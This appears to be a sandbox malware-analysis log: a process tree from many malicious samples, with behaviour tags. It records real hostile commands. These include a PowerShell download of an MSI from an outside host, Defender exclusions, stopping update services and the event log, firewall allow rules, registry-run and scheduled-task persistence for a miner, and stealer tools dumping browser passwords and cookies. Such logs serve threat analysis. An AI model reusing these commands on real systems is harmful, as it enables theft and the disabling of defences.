C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4260,i,6013418603631054174,8249353959880733792,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4416,i,13355764804849556954,17094160531503132512,2097152 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4184,i,4278351994010309106,338907271630957778,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,5743648134749713335,3242571722113426740,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,18151300883128512919,1866607750790207485,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,4435423302688843729,14174595655755985933,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6364,i,4751195803177769152,16831310824221854715,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,6459004498370750605,17661111106633077846,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,451701111873543397,6307202429523328366,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=1232 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,2156181273433296684,4326459736605798164,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,10521172114646664488,2413236022196952476,524288 --field-trial-handle=2564,i,11415620004151399786,3713932251511610491,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:145⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pause4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loade.exeloade.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\peer.exepeer.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i RWBHGSQS.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Win_Driver_SSL_support_v43.22.209.44.exeWin_Driver_SSL_support_v43.22.209.44.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall show rule "name=Runtime Broker"4⤵
- Modifies Windows Firewall
- System Time Discovery
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall add rule "name=Runtime Broker" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- System Time Discovery
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall add rule "name=Runtime Broker" dir=out action=allow program=C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- System Time Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RankupServiceFreeTemp.exeRankupServiceFreeTemp.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe zcgo1.vbs3⤵
-
C:\Users\Public\xixixi.exe"C:\Users\Public\xixixi.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\autocad_v1.4.exeautocad_v1.4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exePPTV(pplive)_forap_1084_9993.exe3⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -i4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -start4⤵
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s C:\Windows\system32\kindling.dll4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nsa854A.tmp\firewall.exe"C:\Users\Admin\AppData\Local\Temp\nsa854A.tmp\firewall.exe" /PPTVPATH=C:\Program Files (x86)\PPLive\PPTV /PPTVVERSION=3.1.5.00654⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" PPLiveU Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" RepairSetup.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\CrashReporter.exe" CrashReporter.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh firewall add allowedprogram "C:\Windows\system32\PPTVLauncher.exe" PPTVLauncher Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /RegServer4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe" -s -luminanceonly "C:\Users\Admin\AppData\Local\Temp\hwcheck.mp4"4⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 2 /A http://h.synacast.com/1.html?sa2foJynraDkntvGotKhzdfJ06DRma+Ls62i5ajhqaKcmfKX7KHoovLhlrSpt8yutLmtib3Ktt/ezNuFoqGc5aeVnqCam6iVoKCamvKLta2dmqSVkJaypqedlrepme6VoKCcmaaVoJa0pqY=5⤵
-
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" -codec4⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 1 /C forqd1084 /F 0 /G 3.1.5 /H 1 /I /L 0 /M 0 /N 0 /O 1 /P4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'https://pub-bbbdebc2599c4d74b04c5d53e439f7a7.r2.dev/Approved%20Document%23D53LU.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.msi' -UseBasicParsing"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build1.exebuild1.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\go.exego.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Qbix01.exeQbix01.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8FB8.tmp\winvnc.exe.\winvnc.exe4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\kantivirus\InstallHelper.exe"C:\Users\Admin\AppData\Local\Temp\kantivirus\InstallHelper.exe" -Pid:"5496" -LogFileName:"C:\Users\Admin\AppData\Local\Temp\kantivirus\semPacketDllLog.log" -InstallPath:"C:\Users\Admin\AppData\Local\Temp\kantivirus" -Tid1:"10" -Tid2:"186" -Tod1:"35" -Tod2:"1" -IId:"211246499" -UUID:"E7E3FF72C26DB32B797805377A873EAA" -TryNo:"1335" -SvrId:"2025.SP4.5" -StrategyList:"0;1;2;3;4|0;2;3;4" -Version:"3" -ProductInstalled:"0" -CompetitorMask:"0" -CompetitorInstalled:"0"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\nk.exenk.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\buildx_x64.exebuildx_x64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\zx.exezx.exe4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c tpol.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\a\tpol.bat" min4⤵
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vi.py -p new.bin -k a.json5⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak5⤵
- Delays execution with timeout.exe
-
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vae.py xe.bin x.txt5⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 5 /nobreak5⤵
- Delays execution with timeout.exe
-
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython vi.py -p pul.bin -k p.json5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Re45766712.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ENCRYPTED.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\REF-CLI%20v1.0.3.exeREF-CLI%20v1.0.3.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\subprocess.exesubprocess.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\subprocess_debug.exesubprocess_debug.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\raw_subprocess.exeraw_subprocess.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\raw_subprocess_debug.exeraw_subprocess_debug.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_144.exechrome_144.exe3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i scc.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\1117.exe1117.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i cl.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Order2390.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\imgs.exeimgs.exe3⤵
-
C:\ProgramData\WindowsDataC.exe"C:\ProgramData\WindowsDataC.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"4⤵
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AlternativeEdgeCookies-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\FirefoxCookies-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\InstalledApps-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /shtml "C:\Users\Admin\AppData\Roaming\watch-output_20260407004708.html"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ChromeV20-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\BrowserHistory-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\DefenderLogs-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\WorkingTasks-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Bookmarks-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ProductKeys-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ExtensionsView-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Autofill-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AllPasswords-output_20260407004708.txt"5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CookieExtractor_51e7283e\cookieextract.ps1" -Browser Both -OutputDir "C:\Users\Admin\AppData\Roaming"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default"6⤵
- Uses browser remote debugging
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RunIt.exe"C:\Users\Admin\AppData\Local\Temp\RunIt.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fscan32.exefscan32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
C:\Users\Admin\AppData\Roaming\namu832.exe"C:\Users\Admin\AppData\Roaming\namu832.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu864.exenamu864.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"C:\Users\Admin\Desktop\365vpnxp\365vpnxp.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Driver_EN_msc_AMD_v22.39.exeDriver_EN_msc_AMD_v22.39.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\IMG001.exeIMG001.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe5⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe6⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ5⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ6⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"5⤵
-
